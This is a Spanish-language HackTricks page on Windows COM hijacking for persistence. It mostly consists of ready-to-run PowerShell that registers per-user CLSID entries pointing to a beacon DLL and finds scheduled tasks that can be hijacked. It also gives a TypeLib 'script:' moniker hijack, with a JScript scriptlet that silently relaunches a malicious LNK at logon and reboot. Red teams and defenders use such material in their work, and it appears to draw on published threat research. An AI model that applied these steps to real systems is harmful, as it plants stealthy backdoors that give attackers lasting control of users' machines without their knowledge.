COM Hijacking
Reading time: 6 minutes
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Buscando componentes COM inexistentes
Como los valores de HKCU pueden ser modificados por los usuarios, COM Hijacking podría usarse como un mecanismo persistente. Usando procmon
es fácil encontrar entradas de registro COM buscadas que no existen y que un atacante podría crear para persistir. Filtros:
- operaciones RegOpenKey.
- donde el Result sea NAME NOT FOUND.
- y la Path termina con InprocServer32.
Una vez que hayas decidido qué COM inexistente suplantar, ejecuta los siguientes comandos. Ten cuidado si decides suplantar un COM que se carga cada pocos segundos, ya que eso podría ser excesivo.
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"
Componentes COM secuestrables del Programador de Tareas
Las tareas de Windows usan Custom Triggers para invocar objetos COM y, como se ejecutan a través del Task Scheduler, es más fácil predecir cuándo se van a activar.
# Show COM CLSIDs
$Tasks = Get-ScheduledTask
foreach ($Task in $Tasks)
{
if ($Task.Actions.ClassId -ne $null)
{
if ($Task.Triggers.Enabled -eq $true)
{
$usersSid = "S-1-5-32-545"
$usersGroup = Get-LocalGroup | Where-Object { $_.SID -eq $usersSid }
if ($Task.Principal.GroupId -eq $usersGroup)
{
Write-Host "Task Name: " $Task.TaskName
Write-Host "Task Path: " $Task.TaskPath
Write-Host "CLSID: " $Task.Actions.ClassId
Write-Host
}
}
}
}
# Sample Output:
# Task Name: Example
# Task Path: \Microsoft\Windows\Example\
# CLSID: {1936ED8A-BD93-3213-E325-F38D112938E1}
# [more like the previous one...]
Al revisar la salida puedes seleccionar uno que se ejecutará cada vez que un usuario inicie sesión, por ejemplo.
Ahora, buscando el CLSID {1936ED8A-BD93-3213-E325-F38D112938EF} en HKEY\CLASSES\ROOT\CLSID y en HKLM y HKCU, normalmente encontrarás que el valor no existe en HKCU.
# Exists in HKCR\CLSID\
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"
Name Property
---- --------
InprocServer32 (default) : C:\Windows\system32\some.dll
ThreadingModel : Both
# Exists in HKLM
Get-Item -Path "HKLM:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" | ft -AutoSize
Name Property
---- --------
{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} (default) : MsCtfMonitor task handler
# Doesn't exist in HKCU
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
Entonces, puedes simplemente crear la entrada HKCU y cada vez que el usuario inicie sesión, tu backdoor se activará.
COM TypeLib Hijacking (script: moniker persistence)
Las bibliotecas de tipos (TypeLib) definen interfaces COM y se cargan mediante LoadTypeLib()
. Cuando se instancia un servidor COM, el sistema operativo también puede cargar el TypeLib asociado consultando las claves del registro bajo HKCR\TypeLib\{LIBID}
. Si la ruta del TypeLib se reemplaza por un moniker, p. ej. script:C:\...\evil.sct
, Windows ejecutará el scriptlet cuando el TypeLib sea resuelto — produciendo una persistencia sigilosa que se activa cuando se tocan componentes comunes.
Esto se ha observado contra el Microsoft Web Browser control (frecuentemente cargado por Internet Explorer, aplicaciones que incrustan WebBrowser, e incluso explorer.exe
).
Pasos (PowerShell)
- Identifica el TypeLib (LIBID) usado por un CLSID de alta frecuencia. Ejemplo CLSID frecuentemente abusado por cadenas de malware:
{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}
(Microsoft Web Browser).
$clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}'
$libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)'
$ver = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName
"CLSID=$clsid LIBID=$libid VER=$ver"
- Apuntar la ruta TypeLib por usuario a un scriptlet local usando el moniker
script:
(no se requieren privilegios de administrador):
$dest = 'C:\\ProgramData\\Udate_Srv.sct'
New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null
Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest"
- Coloca un
.sct
mínimo de JScript que vuelva a ejecutar tu payload principal (p. ej., un.lnk
utilizado por la cadena inicial):
<?xml version="1.0"?>
<scriptlet>
<registration progid="UpdateSrv" classid="{F0001111-0000-0000-0000-0000F00D0001}" description="UpdateSrv"/>
<script language="JScript">
<![CDATA[
try {
var sh = new ActiveXObject('WScript.Shell');
// Re-launch the malicious LNK for persistence
var cmd = 'cmd.exe /K set X=1&"C:\\ProgramData\\NDA\\NDA.lnk"';
sh.Run(cmd, 0, false);
} catch(e) {}
]]>
</script>
</scriptlet>
- Activación – abrir IE, una aplicación que incrusta el WebBrowser control, o incluso la actividad rutinaria de Explorer cargará el TypeLib y ejecutará el scriptlet, rearmando tu chain al logon/reboot.
Limpieza
# Remove the per-user TypeLib hijack
Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$null
# Delete the dropped scriptlet
Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null
Notas
- Puedes aplicar la misma lógica a otros componentes COM de alta frecuencia; siempre resuelve primero el
LIBID
real desdeHKCR\CLSID\{CLSID}\TypeLib
. - En sistemas de 64 bits también puedes poblar la subclave
win64
para consumidores de 64 bits.
Referencias
- Hijack the TypeLib – New COM persistence technique (CICADA8)
- Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.